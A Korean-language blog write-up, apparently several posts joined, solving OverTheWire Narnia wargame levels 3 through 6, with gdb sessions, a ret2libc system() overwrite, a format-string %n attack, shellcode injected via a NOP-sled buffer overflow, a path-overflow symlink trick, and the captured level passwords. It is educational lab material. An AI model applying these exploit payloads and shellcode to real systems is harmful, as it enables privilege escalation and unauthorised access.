   0x080485a8 <+79>:    add    %edx,%eax

   0x080485aa <+81>:    mov    (%eax),%eax

   0x080485ac <+83>:    mov    %eax,(%esp)

   0x080485af <+86>:    call   0x8048420 <strlen@plt>

   0x080485b4 <+91>:    mov    0x80499a0,%edx

   0x080485ba <+97>:    mov    0x2c(%esp),%ecx

   0x080485be <+101>:   shl    $0x2,%ecx

   0x080485c1 <+104>:   add    %ecx,%edx

   0x080485c3 <+106>:   mov    (%edx),%edx

   0x080485c5 <+108>:   mov    %eax,0x8(%esp)

   0x080485c9 <+112>:   movl   $0x0,0x4(%esp)

   0x080485d1 <+120>:   mov    %edx,(%esp)

   0x080485d4 <+123>:   call   0x8048440 <memset@plt>

   0x080485d9 <+128>:   addl   $0x1,0x2c(%esp)

   0x080485de <+133>:   mov    0x80499a0,%eax

   0x080485e3 <+138>:   mov    0x2c(%esp),%edx

   0x080485e7 <+142>:   shl    $0x2,%edx

   0x080485ea <+145>:   add    %edx,%eax

   0x080485ec <+147>:   mov    (%eax),%eax

   0x080485ee <+149>:   test   %eax,%eax

   0x080485f0 <+151>:   jne    0x804859c <main+67>

   0x080485f2 <+153>:   movl   $0x3,0x2c(%esp)

   0x080485fa <+161>:   jmp    0x8048641 <main+232>

   0x080485fc <+163>:   mov    0x2c(%esp),%eax

   0x08048600 <+167>:   lea    0x0(,%eax,4),%edx

   0x08048607 <+174>:   mov    0xc(%ebp),%eax

   0x0804860a <+177>:   add    %edx,%eax

   0x0804860c <+179>:   mov    (%eax),%eax

   0x0804860e <+181>:   mov    %eax,(%esp)

   0x08048611 <+184>:   call   0x8048420 <strlen@plt>

   0x08048616 <+189>:   mov    0x2c(%esp),%edx

---Type <return> to continue, or q <return> to quit---

   0x0804861a <+193>:   lea    0x0(,%edx,4),%ecx

   0x08048621 <+200>:   mov    0xc(%ebp),%edx

   0x08048624 <+203>:   add    %ecx,%edx

   0x08048626 <+205>:   mov    (%edx),%edx

   0x08048628 <+207>:   mov    %eax,0x8(%esp)

   0x0804862c <+211>:   movl   $0x0,0x4(%esp)

   0x08048634 <+219>:   mov    %edx,(%esp)

   0x08048637 <+222>:   call   0x8048440 <memset@plt>

   0x0804863c <+227>:   addl   $0x1,0x2c(%esp)

   0x08048641 <+232>:   mov    0x2c(%esp),%eax

   0x08048645 <+236>:   lea    0x0(,%eax,4),%edx

   0x0804864c <+243>:   mov    0xc(%ebp),%eax

   0x0804864f <+246>:   add    %edx,%eax

   0x08048651 <+248>:   mov    (%eax),%eax

   0x08048653 <+250>:   test   %eax,%eax

   0x08048655 <+252>:   jne    0x80485fc <main+163>

   0x08048657 <+254>:   mov    0xc(%ebp),%eax

   0x0804865a <+257>:   add    $0x4,%eax

   0x0804865d <+260>:   mov    (%eax),%eax

   0x0804865f <+262>:   mov    %eax,0x4(%esp)

   0x08048663 <+266>:   lea    0x20(%esp),%eax

   0x08048667 <+270>:   mov    %eax,(%esp)

   0x0804866a <+273>:   call   0x80483e0 <strcpy@plt>

   0x0804866f <+278>:   mov    0xc(%ebp),%eax

   0x08048672 <+281>:   add    $0x8,%eax

   0x08048675 <+284>:   mov    (%eax),%eax

   0x08048677 <+286>:   mov    %eax,0x4(%esp)

   0x0804867b <+290>:   lea    0x18(%esp),%eax

   0x0804867f <+294>:   mov    %eax,(%esp)

   0x08048682 <+297>:   call   0x80483e0 <strcpy@plt>

   0x08048687 <+302>:   mov    0x28(%esp),%eax

   0x0804868b <+306>:   and    $0xff000000,%eax

   0x08048690 <+311>:   mov    %eax,%ebx

   0x08048692 <+313>:   call   0x804854d <get_sp>

   0x08048697 <+318>:   cmp    %eax,%ebx

   0x08048699 <+320>:   jne    0x80486a7 <main+334>

   0x0804869b <+322>:   movl   $0xffffffff,(%esp)

   0x080486a2 <+329>:   call   0x8048410 <exit@plt>

   0x080486a7 <+334>:   lea    0x20(%esp),%eax

   0x080486ab <+338>:   mov    %eax,(%esp)

   0x080486ae <+341>:   mov    0x28(%esp),%eax

   0x080486b2 <+345>:   call   *%eax

   0x080486b4 <+347>:   movl   $0x1,(%esp)

   0x080486bb <+354>:   call   0x8048410 <exit@plt>

End of assembler dump.

(gdb)


먼저, 메인을 어셈블리어로 보자. 

0x08048563 <+10>: movl $0x80483f0,0x28(%esp)

이부분을 보면 변수를 넣을 스택을 할당하는 것을 볼 수 있는데, 저기 있는 주소가 수상하다.


(gdb) x/50x 0x80483f0

0x80483f0 <puts@plt>:   0x996825ff      0x10680804      0xe9000000      0xffffffc0

0x8048400 <__gmon_start__@plt>: 0x996c25ff      0x18680804      0xe9000000      0xffffffb0

0x8048410 <exit@plt>:   0x997025ff      0x20680804      0xe9000000      0xffffffa0

0x8048420 <strlen@plt>: 0x997425ff      0x28680804      0xe9000000      0xffffff90

0x8048430 <__libc_start_main@plt>:      0x997825ff      0x30680804      0xe9000000      0xffffff80

0x8048440 <memset@plt>: 0x997c25ff      0x38680804      0xe9000000      0xffffff70

0x8048450 <_start>:     0x895eed31      0xf0e483e1      0x68525450      0x08048730

0x8048460 <_start+16>:  0x0486c068      0x68565108      0x08048559      0xffffbfe8

0x8048470 <_start+32>:  0x9066f4ff      0x90669066      0x90669066      0x90669066

0x8048480 <__x86.get_pc_thunk.bx>:      0xc3241c8b      0x90669066      0x90669066      0x90669066

0x8048490 <deregister_tm_clones>:       0x04998bb8      0x99882d08      0xf8830804      0xc3017706

0x80484a0 <deregister_tm_clones+16>:    0x000000b8      0x74c08500      0xe58955f6      0xc718ec83

0x80484b0 <deregister_tm_clones+32>:    0x99882404      0xd0ff0804

(gdb)


저기 있는 주소로 가보았다. puts 함수를 확인 할 수 있다. 처음 선언한 포인터의 &puts를 선언한것과 연관되어있다는 것을 확인 할 수 있다. 그럼 이제 프로그램을 실행해보면서 해결방법을 찾아보도록 하자.

메인을 어셈블리어로 본 것 중 하단에 위에서 확인한 것과 같은 사이즈를 call 하는 것을 확인 할 수 있다. 그 부분을 break point로 잡고 실행하자.


(gdb) br *0x080486b2

Breakpoint 1 at 0x80486b2

(gdb) r AAAA BBBB

Starting program: /games/narnia/narnia6 AAAA BBBB


Breakpoint 1, 0x080486b2 in main ()

(gdb) x/50x $esp

0xffffd6a0:     0xffffd6c0      0xffffd8bb      0x00000021      0x08048712

0xffffd6b0:     0x00000003      0xffffd774      0x42424242      0xf7e55000

0xffffd6c0:     0x41414141      0xf7ffd000      0x080483f0      0x00000003

0xffffd6d0:     0x080486c0      0xf7fca000      0x00000000      0xf7e3ba63

0xffffd6e0:     0x00000003      0xffffd774      0xffffd784      0xf7feacea

0xffffd6f0:     0x00000003      0xffffd774      0xffffd714      0x08049978

0xffffd700:     0x08048290      0xf7fca000      0x00000000      0x00000000

0xffffd710:     0x00000000      0x5bbb5c61      0x6362d871      0x00000000

0xffffd720:     0x00000000      0x00000000      0x00000003      0x08048450

0xffffd730:     0x00000000      0xf7ff0500      0xf7e3b979      0xf7ffd000

0xffffd740:     0x00000003      0x08048450      0x00000000      0x08048471

0xffffd750:     0x08048559      0x00000003      0xffffd774      0x080486c0

0xffffd760:     0x08048730      0xf7feb180

(gdb)


여기에서 b1과 b2를 확인 할 수 있다. 그런데 b1의 뒷부분에 보면 0x080483f0을 확인 할 수 있다. 아까 확인한 puts와 같은 주소이다. 여기에서 저 무엇인가 저 부분을 참조해 puts 함수를 불러온다는 것을 알 수 있다.

그렇다면 여기에서 puts 함수를 불러오는 주소를 변조하여 system 함수를 불러오게 된다면, exploit에 성공하게 된다. 소스를 보면 strcpy 함수를 사용하고 있는데 이 함수는 buffer overflow 취약점이 있는 함수로 알려져 있다. 이를 이용하면 간단하게 exploit을 할 수 있다.


(gdb) print system

$1 = {<text variable, no debug info>} 0xf7e61c40 <system>


system함수의 주소를 알기 위해 다음과 같은 명령어로 system의 주소를 알아냈다. 이제 저 주소를 아까 puts의 주소에 덮어쓰면 된다. 그런데 puts에서 b1의 문자열을 인자로 넘겨주므로 system도 마찬가지로 b1의 문자열을 인자로 넘겨주게 된다. 그러므로 b1에는 /bin/sh가 들어가있어야 한다. b2에서 overflow를 하면 b1을 덮어쓸 수 있으므로 b2를 이용한다. 


(gdb) r $(python -c 'print "A"*8+"\x40\x1c\xe6\xf7"') $(python -c 'print "B"*8+"/bin/sh"')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia6 $(python -c 'print "A"*8+"\x40\x1c\xe6\xf7"') $(python -c 'print "B"*8+"/bin/sh"')

$ exit

[Inferior 1 (process 14706) exited with code 01]

(gdb) quit

narnia6@melinda:/narnia$ ./narnia6 $(python -c 'print "A"*8+"\x40\x1c\xe6\xf7"') $(python -c 'print "B"*8+"/bin/sh"')

$ cat /etc/narnia_pass/narnia7

ahkiaziphu

$


'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 8  (0) 2015.07.24
OverTheWire – Narnia Level 7  (0) 2015.01.06
OverTheWire – Narnia Level 6  (0) 2015.01.05
OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
OverTheWire – Narnia Level 3  (0) 2015.01.01
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

이번 문제는 argv1을 snprintf 함수를 사용해 buffer size만큼 buffer에 복사하므로, buffer overflow는 불가능하다.

하지만 포맷 스트링 취약점이 있다.

먼저 포맷 스트링 버그란 printf 등의 함수에서 문자열 입력 포맷을 잘못된 형태로 입력하는 경우 나타나는 버그이다. 필자와 함께 직접 해보며 자세한 원리를 배워보도록 하자.


narnia5@melinda:/narnia$ ./narnia5 "AAAA"

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [AAAA] (4)

i = 1 (0xffffd6ec)

narnia5@melinda:/narnia$ ./narnia5 "AAAA%x"

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [AAAAf7eb6de6] (12)

i = 1 (0xffffd6ec)

narnia5@melinda:/narnia$


위와 같이 포맷스트링 버그는 printf 함수 등에서 %x, %n을 사용함으로써 발생하게 된다. %x를 입력하니 이상한 값이 나온다.


narnia5@melinda:/narnia$ ./narnia5 "AAAA%x%x%x%x%x"

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [AAAAf7eb6de6ffffffffffffd6bef7e2ebf841414141] (44)

i = 1 (0xffffd6dc)

narnia5@melinda:/narnia$


이상한 값이 나오길래 %x를 계속 입력해 보았다. 그러자 어느 순간 뒤의 41414141을 볼 수 있다.

여기서 잠깐, 41414141은 buffer 안의 첫번째 문자열인 AAAA가 아닌가?

여기서 %x의 용도를 알 수 있다. %x는 어디인지는 모르겠지만 4바이트씩을 순서대로 어딘가에서 가져와서 출력해준다는 것이다. 이제 스택의 구조를 조금 더 자세히 파악하고 넘어가도록 하자.

이 프로그램을 실행하게 된다면, 스택에는 어떻게 쌓이게 될까..?


- HIGH -

 ret

sfb

- 생략 -

 int i

 char buffer[64]

- 생략 -

 snprintf(buffer, sizeof buffer. argv[1]);

- LOW -


이런 식으로 쌓이게 된다. %x로 출력할때 $esp부터 차례대로 4바이트씩 가져오게 되는데, 이때 $esp는 snprintf의 시작주소를 가르키고 있다.

그래서 %x를 여러개 사용하였더니, char buffer의 문자열 중 일부인 AAAA를 가져오게 되는 것이다.

포맷 스트링 버그에는 %x 뿐만아니라 %n이 있는데,  %n 디렉티브는 문자가 출력되기 시작해서 "%n"이 encounting된 시점까지의 실제 프린트 해야 할 문자들의 갯수를 세어, 주어진 변수에 저장하는 역할을 한다.

이 %n을 사용하여 스택에 값을 입력할 수 있다.


이제 본론으로 들어가서 포맷 스트링 공격을 해보도록 하겠다.


narnia5@melinda:/narnia$ gdb ./narnia5 -q

Reading symbols from ./narnia5...(no debugging symbols found)...done.

(gdb) r $(python -c "print 'AAAA%x%x%x%x%x'")

Starting program: /games/narnia/narnia5 $(python -c "print 'AAAA%x%x%x%x%x'")

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [AAAAf7eb6de6ffffffffffffd69ef7e2ebf841414141] (44)

i = 1 (0xffffd6bc)

[Inferior 1 (process 26759) exited normally]


먼저 %x로 buffer의 상대적인 거리를 찾는다. 그런 다음 변조하고 싶은 주소를 봐야하는데 여기서는 친절하게 i의 주소를 알려주므로 따로 볼 필요는 없다.


(gdb) r $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%x'")

Starting program: /games/narnia/narnia5 $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%x'")

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [AAAA¼Öÿÿf7eb6de6ffffffffffffd69ef7e2ebf841414141] (48)

i = 1 (0xffffd6bc)

[Inferior 1 (process 30064) exited normally]

(gdb)


이렇게 AAAA 뒤 쪽에 변조하고 싶은 변수의 주소를 적어주도록 하자. 이유는 %n가 프린트해야 할 문자들의 갯수를 주어진 변수에 넣는다고 했는데, 그 주어진 변수가 %x를 출력할때 나오는 값들의 바로 다음에 있는 주소를 가진 변수에 저장하기 때문이다. 쉽게 설명하면 41414141 다음에 나오는 주소에 앞에 나오는 문자들의 갯수를 저장한다는 뜻이다.


(gdb) r $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%x%n'")

Starting program: /games/narnia/narnia5 $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%x%n'")

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [AAAA¼Öÿÿf7eb6de6ffffffffffffd69ef7e2ebf841414141] (48)

i = 48 (0xffffd6bc)

[Inferior 1 (process 31300) exited normally]

(gdb) 


자, 상단에 보이듯 i의 값이 변조된 것을 볼 수 있다. 여기에서 문자열을 늘려야하는데 포맷 스트링에는 아주 좋은 기능이 존재한다. %100d와 같이 넣게 되면 100자리의 값을 나타낼 수 있다. 이를 이용하여 %n 앞의 %x를 하나 지우고 %500d를 넣어주도록 하자.


(gdb) r $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%500d%n'")

Starting program: /games/narnia/narnia5 $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%500d%n'")

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [AAAA¼Öÿÿf7eb6de6ffffffffffffd69ef7e2ebf8                       ] (63)

i = 540 (0xffffd6bc)

[Inferior 1 (process 2180) exited normally]

(gdb)


자 i의 값이 540으로 바뀐것을 볼 수 있다. 앞에 나오는 문자열을 카운트 하면 40바이트가 되나보다. %500d를 %460d로 바꿔보도록 하자.


(gdb) r $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%460d%n'")

Starting program: /games/narnia/narnia5 $(python -c "print 'AAAA\xbc\xd6\xff\xff%x%x%x%x%460d%n'")

Change i's value from 1 -> 500. GOOD

$ exit

No way...let me give you a hint!

buffer : [AAAA¼Öÿÿf7eb6de6ffffffffffffd69ef7e2ebf8                       ] (63)

i = 500 (0xffffd6bc)

[Inferior 1 (process 3474) exited normally]

(gdb) quit

narnia5@melinda:/narnia$


자 스트링 포맷 공격에 성공하였다. 앞에서 설명했다시피 gdb에서는 권한상승이 되지 않으므로 빠져나오도록 하자.


narnia5@melinda:/narnia$ ./narnia5 $(python -c "print 'AAAA\xcc\xd6\xff\xff%x%x%x%x%460d%n'")

Change i's value from 1 -> 500. GOOD

$ cat /etc/narnia_pass/narnia6

neezocaeng

$


'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 7  (0) 2015.01.06
OverTheWire – Narnia Level 6  (0) 2015.01.05
OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
OverTheWire – Narnia Level 3  (0) 2015.01.01
OverTheWire – Narnia Level 2  (0) 2015.01.01

#narnia4.c

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        int i;
        char buffer[256];

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1)
                strcpy(buffer,argv[1]);

        return 0;
}


이번 문제는 메모리상에 있는 환경변수를 전부 \0로 초기화 시켜버리므로 환경변수를 이용한 Eggshell 삽입이 불가능 하다. 따라서 buffer 배열에 shellcode 삽입 후 return address를 변조해야한다.


narnia4@melinda:/narnia$ gdb ./narnia4 -q

Reading symbols from ./narnia4...(no debugging symbols found)...done.

(gdb) r $(python -c "print '\x90'*256")

Starting program: /games/narnia/narnia4 $(python -c "print '\x90'*256")

[Inferior 1 (process 25639) exited normally]

(gdb) r $(python -c "print '\x90'*260")

Starting program: /games/narnia/narnia4 $(python -c "print '\x90'*260")

[Inferior 1 (process 25707) exited normally]

(gdb) r $(python -c "print '\x90'*264")

Starting program: /games/narnia/narnia4 $(python -c "print '\x90'*264")

[Inferior 1 (process 25715) exited normally]

(gdb) r $(python -c "print '\x90'*268")

Starting program: /games/narnia/narnia4 $(python -c "print '\x90'*268")

[Inferior 1 (process 25721) exited normally]

(gdb) r $(python -c "print '\x90'*272")

Starting program: /games/narnia/narnia4 $(python -c "print '\x90'*272")


Program received signal SIGSEGV, Segmentation fault.

0xf7e3ba00 in __libc_start_main () from /lib32/libc.so.6

(gdb)


위와 같이 return address의 상대적이 주소 값을 찾았다.

그럼 이제 return address의 상대적인 주소값을 찾아냈으니 쉘코드를 삽입할 공간을 찾는다.

그러기 위해선 먼저 쉘코드의 길이를 알아야한다.

python의 len 함수를 이용해 쉘코드의 길이를 찾아낸다.


narnia4@melinda:/narnia$

narnia4@melinda:/narnia$ python -c "print len('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e')"

54


그런 다음 NOP로 비어있는 공간을 찾기위해 x/300x $esp 명령어로 메모리를 살펴본다.


(gdb) r $(python -c "print '\x90'*(272-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'")

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /games/narnia/narnia4 $(python -c "print '\x90'*(272-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'")


Program received signal SIGSEGV, Segmentation fault.

0xf7e3ba00 in __libc_start_main () from /lib32/libc.so.6

(gdb) x/300x $esp

0xffffd5d0:     0x00000002      0xffffd664      0xffffd670      0xf7feacea

0xffffd5e0:     0x00000002      0xffffd664      0xffffd604      0x080497cc

0xffffd5f0:     0x0804825c      0xf7fca000      0x00000000      0x00000000

0xffffd600:     0x00000000      0xccf14506      0xf42ea116      0x00000000

0xffffd610:     0x00000000      0x00000000      0x00000002      0x080483b0

0xffffd620:     0x00000000      0xf7ff0500      0xf7e3b979      0xf7ffd000

0xffffd630:     0x00000002      0x080483b0      0x00000000      0x080483d1

0xffffd640:     0x080484ad      0x00000002      0xffffd664      0x08048550

0xffffd650:     0x080485c0      0xf7feb180      0xffffd65c      0x0000001c

0xffffd660:     0x00000002      0xffffd799      0xffffd7af      0x00000000

0xffffd670:     0xffffd8c0      0xffffd8d5      0xffffd8e5      0xffffd8f0

0xffffd680:     0xffffd913      0xffffd927      0xffffd930      0xffffd93d

0xffffd690:     0xffffde5e      0xffffde69      0xffffde75      0xffffded3

0xffffd6a0:     0xffffdeea      0xffffdef9      0xffffdf05      0xffffdf16

0xffffd6b0:     0xffffdf1f      0xffffdf32      0xffffdf3a      0xffffdf4a

0xffffd6c0:     0xffffdf80      0xffffdfa0      0xffffdfc0      0x00000000

0xffffd6d0:     0x00000020      0xf7fd9b80      0x00000021      0xf7fd9000

0xffffd6e0:     0x00000010      0x1f898b75      0x00000006      0x00001000

0xffffd6f0:     0x00000011      0x00000064      0x00000003      0x08048034

0xffffd700:     0x00000004      0x00000020      0x00000005      0x00000008

0xffffd710:     0x00000007      0xf7fdc000      0x00000008      0x00000000

0xffffd720:     0x00000009      0x080483b0      0x0000000b      0x000036b4

0xffffd730:     0x0000000c      0x000036b4      0x0000000d      0x000036b4

0xffffd740:     0x0000000e      0x000036b4      0x00000017      0x00000000

0xffffd750:     0x00000019      0xffffd77b      0x0000001f      0xffffdfe2

0xffffd760:     0x0000000f      0xffffd78b      0x00000000      0x00000000

0xffffd770:     0x00000000      0x00000000      0x87000000      0x72209932

0xffffd780:     0x717c99ad      0xc6eb03e4      0x69824fd2      0x00363836

0xffffd790:     0x00000000      0x00000000      0x61672f00      0x2f73656d

0xffffd7a0:     0x6e72616e      0x6e2f6169      0x696e7261      0x90003461

0xffffd7b0:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd7c0:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd7d0:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd7e0:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd7f0:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd800:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd810:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd820:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd830:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd840:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd850:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd860:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd870:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd880:     0x90909090      0x90909090      0xb0c03190      0x31db3146

0xffffd890:     0xeb80cdc9      0xc0315b16      0x890f4388      0x4389105b

0xffffd8a0:     0x8d0bb014      0x538d104b      0xe880cd14      0xffffffe5

0xffffd8b0:     0x7273752f      0x6e69622f      0x7479702f      0x006e6f68

0xffffd8c0:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd8d0:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd8e0:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd8f0:     0x00000000      0x00000000      0x00000000      0x00000000

---Type <return> to continue, or q <return> to quit---


대충 중간정도인 0xffffd810 주소로 return adress를 조작한다.


(gdb) r $(python -c "print '\x90'*(272-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'+'\x10\xd8\xff\xff'")

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /games/narnia/narnia4 $(python -c "print '\x90'*(272-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'+'\x10\xd8\xff\xff'")

process 26639 is executing new program: /usr/bin/python2.7

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Python 2.7.6 (default, Mar 22 2014, 22:59:56)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> quit()

[Inferior 1 (process 26639) exited normally]

(gdb) quit

narnia4@melinda:/narnia$


Exploit이 성공적으로 수행되었다. gdb에서는 권한상승이 되지 않으니, quit로 종료하도록 한다.


narnia4@melinda:/narnia$ ./narnia4 $(python -c "print '\x90'*(272-54)+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e'+'\x10\xd8\xff\xff'")

Python 2.7.6 (default, Mar 22 2014, 22:59:56)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import os

>>> os.system("whoami")

narnia5

0

>>> os.system("cat /etc/narnia_pass/narnia5")

faimahchiy

0

>>>



'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 6  (0) 2015.01.05
OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
OverTheWire – Narnia Level 3  (0) 2015.01.01
OverTheWire – Narnia Level 2  (0) 2015.01.01
OverTheWire – Narnia Level 1  (0) 2014.12.31
#narnia3.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];

        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }

        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }

        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

        /* close 'em */
        close(ifd);
        close(ofd);

        exit(1);
}

소스코드를 보면 argv[1]에 있는 값을 char형 배열인 ifile에 복사하고, ifile에 들어있는 경로의 파일을 복사하여 ofile에 붙여넣기 하는 코드이다. 이를 이해하기 쉽게 표로 나타내면,

 char ifile[32]

char ofile[16] 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

/

d

e

v

/

n

u

l

l

 

 

 

 

 

 

 

이렇게 되어있다. 이를 Buffer Overflow 시키려면, ifile 안에 들어갈 문자열이 32글자를 넘어야 한다.



narnia3@melinda:/narnia$ python -c "print len('/tmp/zairo5/')"

12

narnia3@melinda:/narnia$ python -c "print '/tmp/zairo5/'+'a'*20"

/tmp/zairo5/aaaaaaaaaaaaaaaaaaaa

위의 경로가 ifile에 들어가게 되면 아래와 같이 된다.

 char ifile[32]

char ofile[16] 

/

t

m

p

/

z

a

i

r

o

5

/

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

/

d

e

v

/

n

u

l

l

 

 

 

 

 

 

 

d

narnia3@melinda:/narnia$ python -c "print '/tmp/zairo5/'+'a'*20+'/tmp/zairo5/test'"

/tmp/zairo5/aaaaaaaaaaaaaaaaaaaa/tmp/zairo5/test

마찬가지로 위의 경로가 ifile에 들어가게 되면 아래와 같이 ofile을 덮어쓰게 된다.

 char ifile[32]

char ofile[16] 

/

t

m

p

/

z

a

i

r

o

5

/

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

a

/

t

m

p

/

z

a

i

r

o

/

t

e

s

t

 


narnia3@melinda:/narnia$ mkdir /tmp/zairo5/

narnia3@melinda:/narnia$ mkdir /tmp/zairo5/aaaaaaaaaaaaaaaaaaaa

narnia3@melinda:/narnia$ mkdir /tmp/zairo5/aaaaaaaaaaaaaaaaaaaa/tmp

narnia3@melinda:/narnia$ mkdir /tmp/zairo5/aaaaaaaaaaaaaaaaaaaa/tmp/zairo5

narnia3@melinda:/narnia$ touch /tmp/zairo5/test

narnia3@melinda:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/zairo5/aaaaaaaaaaaaaaaaaaaa/tmp/zairo5/test

이렇게 경로를 만들어주고, 심볼릭 링크를 생성한다.


narnia3@melinda:/narnia$ ./narnia3 /tmp/zairo5/aaaaaaaaaaaaaaaaaaaa/tmp/zairo5/test

copied contents of /tmp/zairo5/aaaaaaaaaaaaaaaaaaaa/tmp/zairo5/test to a safer place... (/tmp/zairo5/test)

narnia3@melinda:/narnia$ cat /tmp/zairo5/test

thaenohtai

narnia3@melinda:/narnia$

ifile의 뒷부분에 Null을 넣어 의도적으로 끊어버리고 뒤의 ofile까지 덮어쓰는 다른 방법도 있다.


'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
OverTheWire – Narnia Level 3  (0) 2015.01.01
OverTheWire – Narnia Level 2  (0) 2015.01.01
